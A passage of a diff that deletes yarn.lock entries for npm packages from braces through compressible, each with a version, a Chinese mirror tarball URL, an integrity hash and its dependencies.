-braces@~3.0.2:
-  version "3.0.2"
-  resolved "https://registry.npm.taobao.org/braces/download/braces-3.0.2.tgz#3454e1a462ee8d599e236df336cd9ea4f8afe107"
-  integrity sha1-NFThpGLujVmeI23zNs2epPiv4Qc=
-  dependencies:
-    fill-range "^7.0.1"
-
-brorand@^1.0.1, brorand@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.nlark.com/brorand/download/brorand-1.1.0.tgz#12c25efe40a45e3c323eb8675a0a0ce57b22371f"
-  integrity sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8=
-
-browser-process-hrtime@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/browser-process-hrtime/download/browser-process-hrtime-1.0.0.tgz?cache=0&sync_timestamp=1618847049949&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbrowser-process-hrtime%2Fdownload%2Fbrowser-process-hrtime-1.0.0.tgz#3c9b4b7d782c8121e56f10106d84c0d0ffc94626"
-  integrity sha1-PJtLfXgsgSHlbxAQbYTA0P/JRiY=
-
-browser-resolve@^1.11.3:
-  version "1.11.3"
-  resolved "https://registry.npm.taobao.org/browser-resolve/download/browser-resolve-1.11.3.tgz#9b7cbb3d0f510e4cb86bdbd796124d28b5890af6"
-  integrity sha1-m3y7PQ9RDky4a9vXlhJNKLWJCvY=
-  dependencies:
-    resolve "1.1.7"
-
-browserify-aes@^1.0.0, browserify-aes@^1.0.4:
-  version "1.2.0"
-  resolved "https://registry.nlark.com/browserify-aes/download/browserify-aes-1.2.0.tgz#326734642f403dabc3003209853bb70ad428ef48"
-  integrity sha1-Mmc0ZC9APavDADIJhTu3CtQo70g=
-  dependencies:
-    buffer-xor "^1.0.3"
-    cipher-base "^1.0.0"
-    create-hash "^1.1.0"
-    evp_bytestokey "^1.0.3"
-    inherits "^2.0.1"
-    safe-buffer "^5.0.1"
-
-browserify-cipher@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/browserify-cipher/download/browserify-cipher-1.0.1.tgz#8d6474c1b870bfdabcd3bcfcc1934a10e94f15f0"
-  integrity sha1-jWR0wbhwv9q807z8wZNKEOlPFfA=
-  dependencies:
-    browserify-aes "^1.0.4"
-    browserify-des "^1.0.0"
-    evp_bytestokey "^1.0.0"
-
-browserify-des@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/browserify-des/download/browserify-des-1.0.2.tgz#3af4f1f59839403572f1c66204375f7a7f703e9c"
-  integrity sha1-OvTx9Zg5QDVy8cZiBDdfen9wPpw=
-  dependencies:
-    cipher-base "^1.0.1"
-    des.js "^1.0.0"
-    inherits "^2.0.1"
-    safe-buffer "^5.1.2"
-
-browserify-rsa@^4.0.0, browserify-rsa@^4.0.1:
-  version "4.1.0"
-  resolved "https://registry.nlark.com/browserify-rsa/download/browserify-rsa-4.1.0.tgz#b2fd06b5b75ae297f7ce2dc651f918f5be158c8d"
-  integrity sha1-sv0Gtbda4pf3zi3GUfkY9b4VjI0=
-  dependencies:
-    bn.js "^5.0.0"
-    randombytes "^2.0.1"
-
-browserify-sign@^4.0.0:
-  version "4.2.1"
-  resolved "https://registry.nlark.com/browserify-sign/download/browserify-sign-4.2.1.tgz#eaf4add46dd54be3bb3b36c0cf15abbeba7956c3"
-  integrity sha1-6vSt1G3VS+O7OzbAzxWrvrp5VsM=
-  dependencies:
-    bn.js "^5.1.1"
-    browserify-rsa "^4.0.1"
-    create-hash "^1.2.0"
-    create-hmac "^1.1.7"
-    elliptic "^6.5.3"
-    inherits "^2.0.4"
-    parse-asn1 "^5.1.5"
-    readable-stream "^3.6.0"
-    safe-buffer "^5.2.0"
-
-browserify-zlib@^0.2.0:
-  version "0.2.0"
-  resolved "https://registry.nlark.com/browserify-zlib/download/browserify-zlib-0.2.0.tgz#2869459d9aa3be245fe8fe2ca1f46e2e7f54d73f"
-  integrity sha1-KGlFnZqjviRf6P4sofRuLn9U1z8=
-  dependencies:
-    pako "~1.0.5"
-
-browserslist@4.10.0:
-  version "4.10.0"
-  resolved "https://registry.nlark.com/browserslist/download/browserslist-4.10.0.tgz?cache=0&sync_timestamp=1619789101558&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbrowserslist%2Fdownload%2Fbrowserslist-4.10.0.tgz#f179737913eaf0d2b98e4926ac1ca6a15cbcc6a9"
-  integrity sha1-8XlzeRPq8NK5jkkmrBymoVy8xqk=
-  dependencies:
-    caniuse-lite "^1.0.30001035"
-    electron-to-chromium "^1.3.378"
-    node-releases "^1.1.52"
-    pkg-up "^3.1.0"
-
-browserslist@^4.0.0, browserslist@^4.12.0, browserslist@^4.16.6, browserslist@^4.6.2, browserslist@^4.6.4, browserslist@^4.9.1:
-  version "4.16.6"
-  resolved "https://registry.nlark.com/browserslist/download/browserslist-4.16.6.tgz?cache=0&sync_timestamp=1619789101558&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbrowserslist%2Fdownload%2Fbrowserslist-4.16.6.tgz#d7901277a5a88e554ed305b183ec9b0c08f66fa2"
-  integrity sha1-15ASd6WojlVO0wWxg+ybDAj2b6I=
-  dependencies:
-    caniuse-lite "^1.0.30001219"
-    colorette "^1.2.2"
-    electron-to-chromium "^1.3.723"
-    escalade "^3.1.1"
-    node-releases "^1.1.71"
-
-bser@2.1.1:
-  version "2.1.1"
-  resolved "https://registry.nlark.com/bser/download/bser-2.1.1.tgz#e6787da20ece9d07998533cfd9de6f5c38f4bc05"
-  integrity sha1-5nh9og7OnQeZhTPP2d5vXDj0vAU=
-  dependencies:
-    node-int64 "^0.4.0"
-
-buffer-from@^1.0.0:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/buffer-from/download/buffer-from-1.1.1.tgz#32713bc028f75c02fdb710d7c7bcec1f2c6070ef"
-  integrity sha1-MnE7wCj3XAL9txDXx7zsHyxgcO8=
-
-buffer-indexof@^1.0.0:
-  version "1.1.1"
-  resolved "https://registry.nlark.com/buffer-indexof/download/buffer-indexof-1.1.1.tgz#52fabcc6a606d1a00302802648ef68f639da268c"
-  integrity sha1-Uvq8xqYG0aADAoAmSO9o9jnaJow=
-
-buffer-xor@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.npm.taobao.org/buffer-xor/download/buffer-xor-1.0.3.tgz#26e61ed1422fb70dd42e6e36729ed51d855fe8d9"
-  integrity sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk=
-
-buffer@^4.3.0:
-  version "4.9.2"
-  resolved "https://registry.npm.taobao.org/buffer/download/buffer-4.9.2.tgz#230ead344002988644841ab0244af8c44bbe3ef8"
-  integrity sha1-Iw6tNEACmIZEhBqwJEr4xEu+Pvg=
-  dependencies:
-    base64-js "^1.0.2"
-    ieee754 "^1.1.4"
-    isarray "^1.0.0"
-
-builtin-status-codes@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/builtin-status-codes/download/builtin-status-codes-3.0.0.tgz#85982878e21b98e1c66425e03d0174788f569ee8"
-  integrity sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug=
-
-bytes@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/bytes/download/bytes-3.0.0.tgz#d32815404d689699f85a4ea4fa8755dd13a96048"
-  integrity sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=
-
-bytes@3.1.0:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/bytes/download/bytes-3.1.0.tgz#f6cf7933a360e0588fa9fde85651cdc7f805d1f6"
-  integrity sha1-9s95M6Ng4FiPqf3oVlHNx/gF0fY=
-
-cacache@^12.0.2:
-  version "12.0.4"
-  resolved "https://registry.nlark.com/cacache/download/cacache-12.0.4.tgz?cache=0&sync_timestamp=1621949655085&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcacache%2Fdownload%2Fcacache-12.0.4.tgz#668bcbd105aeb5f1d92fe25570ec9525c8faa40c"
-  integrity sha1-ZovL0QWutfHZL+JVcOyVJcj6pAw=
-  dependencies:
-    bluebird "^3.5.5"
-    chownr "^1.1.1"
-    figgy-pudding "^3.5.1"
-    glob "^7.1.4"
-    graceful-fs "^4.1.15"
-    infer-owner "^1.0.3"
-    lru-cache "^5.1.1"
-    mississippi "^3.0.0"
-    mkdirp "^0.5.1"
-    move-concurrently "^1.0.1"
-    promise-inflight "^1.0.1"
-    rimraf "^2.6.3"
-    ssri "^6.0.1"
-    unique-filename "^1.1.1"
-    y18n "^4.0.0"
-
-cacache@^13.0.1:
-  version "13.0.1"
-  resolved "https://registry.nlark.com/cacache/download/cacache-13.0.1.tgz?cache=0&sync_timestamp=1621949655085&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcacache%2Fdownload%2Fcacache-13.0.1.tgz#a8000c21697089082f85287a1aec6e382024a71c"
-  integrity sha1-qAAMIWlwiQgvhSh6GuxuOCAkpxw=
-  dependencies:
-    chownr "^1.1.2"
-    figgy-pudding "^3.5.1"
-    fs-minipass "^2.0.0"
-    glob "^7.1.4"
-    graceful-fs "^4.2.2"
-    infer-owner "^1.0.4"
-    lru-cache "^5.1.1"
-    minipass "^3.0.0"
-    minipass-collect "^1.0.2"
-    minipass-flush "^1.0.5"
-    minipass-pipeline "^1.2.2"
-    mkdirp "^0.5.1"
-    move-concurrently "^1.0.1"
-    p-map "^3.0.0"
-    promise-inflight "^1.0.1"
-    rimraf "^2.7.1"
-    ssri "^7.0.0"
-    unique-filename "^1.1.1"
-
-cache-base@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/cache-base/download/cache-base-1.0.1.tgz#0a7f46416831c8b662ee36fe4e7c59d76f666ab2"
-  integrity sha1-Cn9GQWgxyLZi7jb+TnxZ129marI=
-  dependencies:
-    collection-visit "^1.0.0"
-    component-emitter "^1.2.1"
-    get-value "^2.0.6"
-    has-value "^1.0.0"
-    isobject "^3.0.1"
-    set-value "^2.0.0"
-    to-object-path "^0.3.0"
-    union-value "^1.0.0"
-    unset-value "^1.0.0"
-
-call-bind@^1.0.0, call-bind@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/call-bind/download/call-bind-1.0.2.tgz#b1d4e89e688119c3c9a903ad30abb2f6a919be3c"
-  integrity sha1-sdTonmiBGcPJqQOtMKuy9qkZvjw=
-  dependencies:
-    function-bind "^1.1.1"
-    get-intrinsic "^1.0.2"
-
-call-me-maybe@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/call-me-maybe/download/call-me-maybe-1.0.1.tgz#26d208ea89e37b5cbde60250a15f031c16a4d66b"
-  integrity sha1-JtII6onje1y95gJQoV8DHBak1ms=
-
-caller-callsite@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/caller-callsite/download/caller-callsite-2.0.0.tgz#847e0fce0a223750a9a027c54b33731ad3154134"
-  integrity sha1-hH4PzgoiN1CpoCfFSzNzGtMVQTQ=
-  dependencies:
-    callsites "^2.0.0"
-
-caller-path@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/caller-path/download/caller-path-2.0.0.tgz#468f83044e369ab2010fac5f06ceee15bb2cb1f4"
-  integrity sha1-Ro+DBE42mrIBD6xfBs7uFbsssfQ=
-  dependencies:
-    caller-callsite "^2.0.0"
-
-callsites@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/callsites/download/callsites-2.0.0.tgz#06eb84f00eea413da86affefacbffb36093b3c50"
-  integrity sha1-BuuE8A7qQT2oav/vrL/7Ngk7PFA=
-
-callsites@^3.0.0:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/callsites/download/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73"
-  integrity sha1-s2MKvYlDQy9Us/BRkjjjPNffL3M=
-
-camel-case@^4.1.1:
-  version "4.1.2"
-  resolved "https://registry.npm.taobao.org/camel-case/download/camel-case-4.1.2.tgz?cache=0&sync_timestamp=1606867297052&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcamel-case%2Fdownload%2Fcamel-case-4.1.2.tgz#9728072a954f805228225a6deea6b38461e1bd5a"
-  integrity sha1-lygHKpVPgFIoIlpt7qazhGHhvVo=
-  dependencies:
-    pascal-case "^3.1.2"
-    tslib "^2.0.3"
-
-camelcase@5.0.0:
-  version "5.0.0"
-  resolved "https://registry.nlark.com/camelcase/download/camelcase-5.0.0.tgz#03295527d58bd3cd4aa75363f35b2e8d97be2f42"
-  integrity sha1-AylVJ9WL081Kp1Nj81sujZe+L0I=
-
-camelcase@5.3.1, camelcase@^5.0.0, camelcase@^5.3.1:
-  version "5.3.1"
-  resolved "https://registry.nlark.com/camelcase/download/camelcase-5.3.1.tgz#e3c9b31569e106811df242f715725a1f4c494320"
-  integrity sha1-48mzFWnhBoEd8kL3FXJaH0xJQyA=
-
-caniuse-api@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/caniuse-api/download/caniuse-api-3.0.0.tgz#5e4d90e2274961d46291997df599e3ed008ee4c0"
-  integrity sha1-Xk2Q4idJYdRikZl99Znj7QCO5MA=
-  dependencies:
-    browserslist "^4.0.0"
-    caniuse-lite "^1.0.0"
-    lodash.memoize "^4.1.2"
-    lodash.uniq "^4.5.0"
-
-caniuse-lite@^1.0.0, caniuse-lite@^1.0.30000981, caniuse-lite@^1.0.30001035, caniuse-lite@^1.0.30001109, caniuse-lite@^1.0.30001219:
-  version "1.0.30001235"
-  resolved "https://registry.nlark.com/caniuse-lite/download/caniuse-lite-1.0.30001235.tgz?cache=0&sync_timestamp=1622955183947&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcaniuse-lite%2Fdownload%2Fcaniuse-lite-1.0.30001235.tgz#ad5ca75bc5a1f7b12df79ad806d715a43a5ac4ed"
-  integrity sha1-rVynW8Wh97Et95rYBtcVpDpaxO0=
-
-capture-exit@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/capture-exit/download/capture-exit-2.0.0.tgz#fb953bfaebeb781f62898239dabb426d08a509a4"
-  integrity sha1-+5U7+uvreB9iiYI52rtCbQilCaQ=
-  dependencies:
-    rsvp "^4.8.4"
-
-case-sensitive-paths-webpack-plugin@2.3.0:
-  version "2.3.0"
-  resolved "https://registry.nlark.com/case-sensitive-paths-webpack-plugin/download/case-sensitive-paths-webpack-plugin-2.3.0.tgz#23ac613cc9a856e4f88ff8bb73bbb5e989825cf7"
-  integrity sha1-I6xhPMmoVuT4j/i7c7u16YmCXPc=
-
-caseless@~0.12.0:
-  version "0.12.0"
-  resolved "https://registry.npm.taobao.org/caseless/download/caseless-0.12.0.tgz#1b681c21ff84033c826543090689420d187151dc"
-  integrity sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=
-
-chalk@2.4.2, chalk@^2.0.0, chalk@^2.0.1, chalk@^2.1.0, chalk@^2.4.1, chalk@^2.4.2:
-  version "2.4.2"
-  resolved "https://registry.nlark.com/chalk/download/chalk-2.4.2.tgz?cache=0&sync_timestamp=1618995367379&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchalk%2Fdownload%2Fchalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424"
-  integrity sha1-zUJUFnelQzPPVBpJEIwUMrRMlCQ=
-  dependencies:
-    ansi-styles "^3.2.1"
-    escape-string-regexp "^1.0.5"
-    supports-color "^5.3.0"
-
-chalk@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.nlark.com/chalk/download/chalk-1.1.3.tgz?cache=0&sync_timestamp=1618995367379&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchalk%2Fdownload%2Fchalk-1.1.3.tgz#a8115c55e4a702fe4d150abd3872822a7e09fc98"
-  integrity sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=
-  dependencies:
-    ansi-styles "^2.2.1"
-    escape-string-regexp "^1.0.2"
-    has-ansi "^2.0.0"
-    strip-ansi "^3.0.0"
-    supports-color "^2.0.0"
-
-chalk@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/chalk/download/chalk-3.0.0.tgz?cache=0&sync_timestamp=1618995367379&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchalk%2Fdownload%2Fchalk-3.0.0.tgz#3f73c2bf526591f574cc492c51e2456349f844e4"
-  integrity sha1-P3PCv1JlkfV0zEksUeJFY0n4ROQ=
-  dependencies:
-    ansi-styles "^4.1.0"
-    supports-color "^7.1.0"
-
-chalk@^4.0.0, chalk@^4.1.0:
-  version "4.1.1"
-  resolved "https://registry.nlark.com/chalk/download/chalk-4.1.1.tgz?cache=0&sync_timestamp=1618995367379&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchalk%2Fdownload%2Fchalk-4.1.1.tgz#c80b3fab28bf6371e6863325eee67e618b77e6ad"
-  integrity sha1-yAs/qyi/Y3HmhjMl7uZ+YYt35q0=
-  dependencies:
-    ansi-styles "^4.1.0"
-    supports-color "^7.1.0"
-
-chardet@^0.7.0:
-  version "0.7.0"
-  resolved "https://registry.nlark.com/chardet/download/chardet-0.7.0.tgz#90094849f0937f2eedc2425d0d28a9e5f0cbad9e"
-  integrity sha1-kAlISfCTfy7twkJdDSip5fDLrZ4=
-
-chokidar@^2.1.8:
-  version "2.1.8"
-  resolved "https://registry.nlark.com/chokidar/download/chokidar-2.1.8.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchokidar%2Fdownload%2Fchokidar-2.1.8.tgz#804b3a7b6a99358c3c5c61e71d8728f041cff917"
-  integrity sha1-gEs6e2qZNYw8XGHnHYco8EHP+Rc=
-  dependencies:
-    anymatch "^2.0.0"
-    async-each "^1.0.1"
-    braces "^2.3.2"
-    glob-parent "^3.1.0"
-    inherits "^2.0.3"
-    is-binary-path "^1.0.0"
-    is-glob "^4.0.0"
-    normalize-path "^3.0.0"
-    path-is-absolute "^1.0.0"
-    readdirp "^2.2.1"
-    upath "^1.1.1"
-  optionalDependencies:
-    fsevents "^1.2.7"
-
-chokidar@^3.3.0, chokidar@^3.4.1:
-  version "3.5.1"
-  resolved "https://registry.nlark.com/chokidar/download/chokidar-3.5.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchokidar%2Fdownload%2Fchokidar-3.5.1.tgz#ee9ce7bbebd2b79f49f304799d5468e31e14e68a"
-  integrity sha1-7pznu+vSt59J8wR5nVRo4x4U5oo=
-  dependencies:
-    anymatch "~3.1.1"
-    braces "~3.0.2"
-    glob-parent "~5.1.0"
-    is-binary-path "~2.1.0"
-    is-glob "~4.0.1"
-    normalize-path "~3.0.0"
-    readdirp "~3.5.0"
-  optionalDependencies:
-    fsevents "~2.3.1"
-
-chownr@^1.1.1, chownr@^1.1.2:
-  version "1.1.4"
-  resolved "https://registry.nlark.com/chownr/download/chownr-1.1.4.tgz#6fc9d7b42d32a583596337666e7d08084da2cc6b"
-  integrity sha1-b8nXtC0ypYNZYzdmbn0ICE2izGs=
-
-chrome-trace-event@^1.0.2:
-  version "1.0.3"
-  resolved "https://registry.npm.taobao.org/chrome-trace-event/download/chrome-trace-event-1.0.3.tgz#1015eced4741e15d06664a957dbbf50d041e26ac"
-  integrity sha1-EBXs7UdB4V0GZkqVfbv1DQQeJqw=
-
-ci-info@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/ci-info/download/ci-info-2.0.0.tgz?cache=0&sync_timestamp=1622039942508&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fci-info%2Fdownload%2Fci-info-2.0.0.tgz#67a9e964be31a51e15e5010d58e6f12834002f46"
-  integrity sha1-Z6npZL4xpR4V5QENWObxKDQAL0Y=
-
-cipher-base@^1.0.0, cipher-base@^1.0.1, cipher-base@^1.0.3:
-  version "1.0.4"
-  resolved "https://registry.nlark.com/cipher-base/download/cipher-base-1.0.4.tgz#8760e4ecc272f4c363532f926d874aae2c1397de"
-  integrity sha1-h2Dk7MJy9MNjUy+SbYdKriwTl94=
-  dependencies:
-    inherits "^2.0.1"
-    safe-buffer "^5.0.1"
-
-class-utils@^0.3.5:
-  version "0.3.6"
-  resolved "https://registry.nlark.com/class-utils/download/class-utils-0.3.6.tgz#f93369ae8b9a7ce02fd41faad0ca83033190c463"
-  integrity sha1-+TNprouafOAv1B+q0MqDAzGQxGM=
-  dependencies:
-    arr-union "^3.1.0"
-    define-property "^0.2.5"
-    isobject "^3.0.0"
-    static-extend "^0.1.1"
-
-clean-css@^4.2.3:
-  version "4.2.3"
-  resolved "https://registry.npm.taobao.org/clean-css/download/clean-css-4.2.3.tgz?cache=0&sync_timestamp=1616153455026&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fclean-css%2Fdownload%2Fclean-css-4.2.3.tgz#507b5de7d97b48ee53d84adb0160ff6216380f78"
-  integrity sha1-UHtd59l7SO5T2ErbAWD/YhY4D3g=
-  dependencies:
-    source-map "~0.6.0"
-
-clean-stack@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.nlark.com/clean-stack/download/clean-stack-2.2.0.tgz?cache=0&sync_timestamp=1621915044030&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fclean-stack%2Fdownload%2Fclean-stack-2.2.0.tgz#ee8472dbb129e727b31e8a10a427dee9dfe4008b"
-  integrity sha1-7oRy27Ep5yezHooQpCfe6d/kAIs=
-
-cli-cursor@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/cli-cursor/download/cli-cursor-3.1.0.tgz#264305a7ae490d1d03bf0c9ba7c925d1753af307"
-  integrity sha1-JkMFp65JDR0Dvwybp8kl0XU68wc=
-  dependencies:
-    restore-cursor "^3.1.0"
-
-cli-width@^2.0.0:
-  version "2.2.1"
-  resolved "https://registry.npm.taobao.org/cli-width/download/cli-width-2.2.1.tgz#b0433d0b4e9c847ef18868a4ef16fd5fc8271c48"
-  integrity sha1-sEM9C06chH7xiGik7xb9X8gnHEg=
-
-cli-width@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/cli-width/download/cli-width-3.0.0.tgz#a2f48437a2caa9a22436e794bf071ec9e61cedf6"
-  integrity sha1-ovSEN6LKqaIkNueUvwceyeYc7fY=
-
-cliui@^4.0.0:
-  version "4.1.0"
-  resolved "https://registry.nlark.com/cliui/download/cliui-4.1.0.tgz#348422dbe82d800b3022eef4f6ac10bf2e4d1b49"
-  integrity sha1-NIQi2+gtgAswIu709qwQvy5NG0k=
-  dependencies:
-    string-width "^2.1.1"
-    strip-ansi "^4.0.0"
-    wrap-ansi "^2.0.0"
-
-cliui@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.nlark.com/cliui/download/cliui-5.0.0.tgz#deefcfdb2e800784aa34f46fa08e06851c7bbbc5"
-  integrity sha1-3u/P2y6AB4SqNPRvoI4GhRx7u8U=
-  dependencies:
-    string-width "^3.1.0"
-    strip-ansi "^5.2.0"
-    wrap-ansi "^5.1.0"
-
-clone-deep@^0.2.4:
-  version "0.2.4"
-  resolved "https://registry.nlark.com/clone-deep/download/clone-deep-0.2.4.tgz#4e73dd09e9fb971cc38670c5dced9c1896481cc6"
-  integrity sha1-TnPdCen7lxzDhnDF3O2cGJZIHMY=
-  dependencies:
-    for-own "^0.1.3"
-    is-plain-object "^2.0.1"
-    kind-of "^3.0.2"
-    lazy-cache "^1.0.3"
-    shallow-clone "^0.1.2"
-
-clone-deep@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/clone-deep/download/clone-deep-4.0.1.tgz#c19fd9bdbbf85942b4fd979c84dcf7d5f07c2387"
-  integrity sha1-wZ/Zvbv4WUK0/ZechNz31fB8I4c=
-  dependencies:
-    is-plain-object "^2.0.4"
-    kind-of "^6.0.2"
-    shallow-clone "^3.0.0"
-
-co@^4.6.0:
-  version "4.6.0"
-  resolved "https://registry.npm.taobao.org/co/download/co-4.6.0.tgz#6ea6bdf3d853ae54ccb8e47bfa0bf3f9031fb184"
-  integrity sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=
-
-coa@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/coa/download/coa-2.0.2.tgz#43f6c21151b4ef2bf57187db0d73de229e3e7ec3"
-  integrity sha1-Q/bCEVG07yv1cYfbDXPeIp4+fsM=
-  dependencies:
-    "@types/q" "^1.5.1"
-    chalk "^2.4.1"
-    q "^1.1.2"
-
-code-point-at@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/code-point-at/download/code-point-at-1.1.0.tgz#0d070b4d043a5bea33a2f1a40e2edb3d9a4ccf77"
-  integrity sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=
-
-collection-visit@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/collection-visit/download/collection-visit-1.0.0.tgz#4bc0373c164bc3291b4d368c829cf1a80a59dca0"
-  integrity sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=
-  dependencies:
-    map-visit "^1.0.0"
-    object-visit "^1.0.0"
-
-color-convert@^1.9.0, color-convert@^1.9.1:
-  version "1.9.3"
-  resolved "https://registry.npm.taobao.org/color-convert/download/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8"
-  integrity sha1-u3GFBpDh8TZWfeYp0tVHHe2kweg=
-  dependencies:
-    color-name "1.1.3"
-
-color-convert@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/color-convert/download/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
-  integrity sha1-ctOmjVmMm9s68q0ehPIdiWq9TeM=
-  dependencies:
-    color-name "~1.1.4"
-
-color-name@1.1.3:
-  version "1.1.3"
-  resolved "https://registry.nlark.com/color-name/download/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25"
-  integrity sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=
-
-color-name@^1.0.0, color-name@~1.1.4:
-  version "1.1.4"
-  resolved "https://registry.nlark.com/color-name/download/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
-  integrity sha1-wqCah6y95pVD3m9j+jmVyCbFNqI=
-
-color-string@^1.5.4:
-  version "1.5.5"
-  resolved "https://registry.nlark.com/color-string/download/color-string-1.5.5.tgz#65474a8f0e7439625f3d27a6a19d89fc45223014"
-  integrity sha1-ZUdKjw50OWJfPSemoZ2J/EUiMBQ=
-  dependencies:
-    color-name "^1.0.0"
-    simple-swizzle "^0.2.2"
-
-color@^3.0.0:
-  version "3.1.3"
-  resolved "https://registry.nlark.com/color/download/color-3.1.3.tgz?cache=0&sync_timestamp=1618846945133&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcolor%2Fdownload%2Fcolor-3.1.3.tgz#ca67fb4e7b97d611dcde39eceed422067d91596e"
-  integrity sha1-ymf7TnuX1hHc3jns7tQiBn2RWW4=
-  dependencies:
-    color-convert "^1.9.1"
-    color-string "^1.5.4"
-
-colorette@^1.2.1, colorette@^1.2.2:
-  version "1.2.2"
-  resolved "https://registry.nlark.com/colorette/download/colorette-1.2.2.tgz#cbcc79d5e99caea2dbf10eb3a26fd8b3e6acfa94"
-  integrity sha1-y8x51emcrqLb8Q6zom/Ys+as+pQ=
-
-combined-stream@^1.0.6, combined-stream@~1.0.6:
-  version "1.0.8"
-  resolved "https://registry.nlark.com/combined-stream/download/combined-stream-1.0.8.tgz#c3d45a8b34fd730631a110a8a2520682b31d5a7f"
-  integrity sha1-w9RaizT9cwYxoRCoolIGgrMdWn8=
-  dependencies:
-    delayed-stream "~1.0.0"
-
-commander@^2.11.0, commander@^2.20.0:
-  version "2.20.3"
-  resolved "https://registry.nlark.com/commander/download/commander-2.20.3.tgz?cache=0&sync_timestamp=1622954231534&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcommander%2Fdownload%2Fcommander-2.20.3.tgz#fd485e84c03eb4881c20722ba48035e8531aeb33"
-  integrity sha1-/UhehMA+tIgcIHIrpIA16FMa6zM=
-
-commander@^4.1.1:
-  version "4.1.1"
-  resolved "https://registry.nlark.com/commander/download/commander-4.1.1.tgz?cache=0&sync_timestamp=1622954231534&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcommander%2Fdownload%2Fcommander-4.1.1.tgz#9fd602bd936294e9e9ef46a3f4d6964044b18068"
-  integrity sha1-n9YCvZNilOnp70aj9NaWQESxgGg=
-
-common-tags@^1.8.0:
-  version "1.8.0"
-  resolved "https://registry.npm.taobao.org/common-tags/download/common-tags-1.8.0.tgz#8e3153e542d4a39e9b10554434afaaf98956a937"
-  integrity sha1-jjFT5ULUo56bEFVENK+q+YlWqTc=
-
-commondir@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/commondir/download/commondir-1.0.1.tgz#ddd800da0c66127393cca5950ea968a3aaf1253b"
-  integrity sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs=
-
-component-emitter@^1.2.1:
-  version "1.3.0"
-  resolved "https://registry.nlark.com/component-emitter/download/component-emitter-1.3.0.tgz#16e4070fba8ae29b679f2215853ee181ab2eabc0"
-  integrity sha1-FuQHD7qK4ptnnyIVhT7hgasuq8A=
-
-compose-function@3.0.3:
-  version "3.0.3"
-  resolved "https://registry.npm.taobao.org/compose-function/download/compose-function-3.0.3.tgz#9ed675f13cc54501d30950a486ff6a7ba3ab185f"
-  integrity sha1-ntZ18TzFRQHTCVCkhv9qe6OrGF8=
-  dependencies:
-    arity-n "^1.0.4"
-
-compressible@~2.0.16:
-  version "2.0.18"
-  resolved "https://registry.nlark.com/compressible/download/compressible-2.0.18.tgz#af53cca6b070d4c3c0750fbd77286a6d7cc46fba"
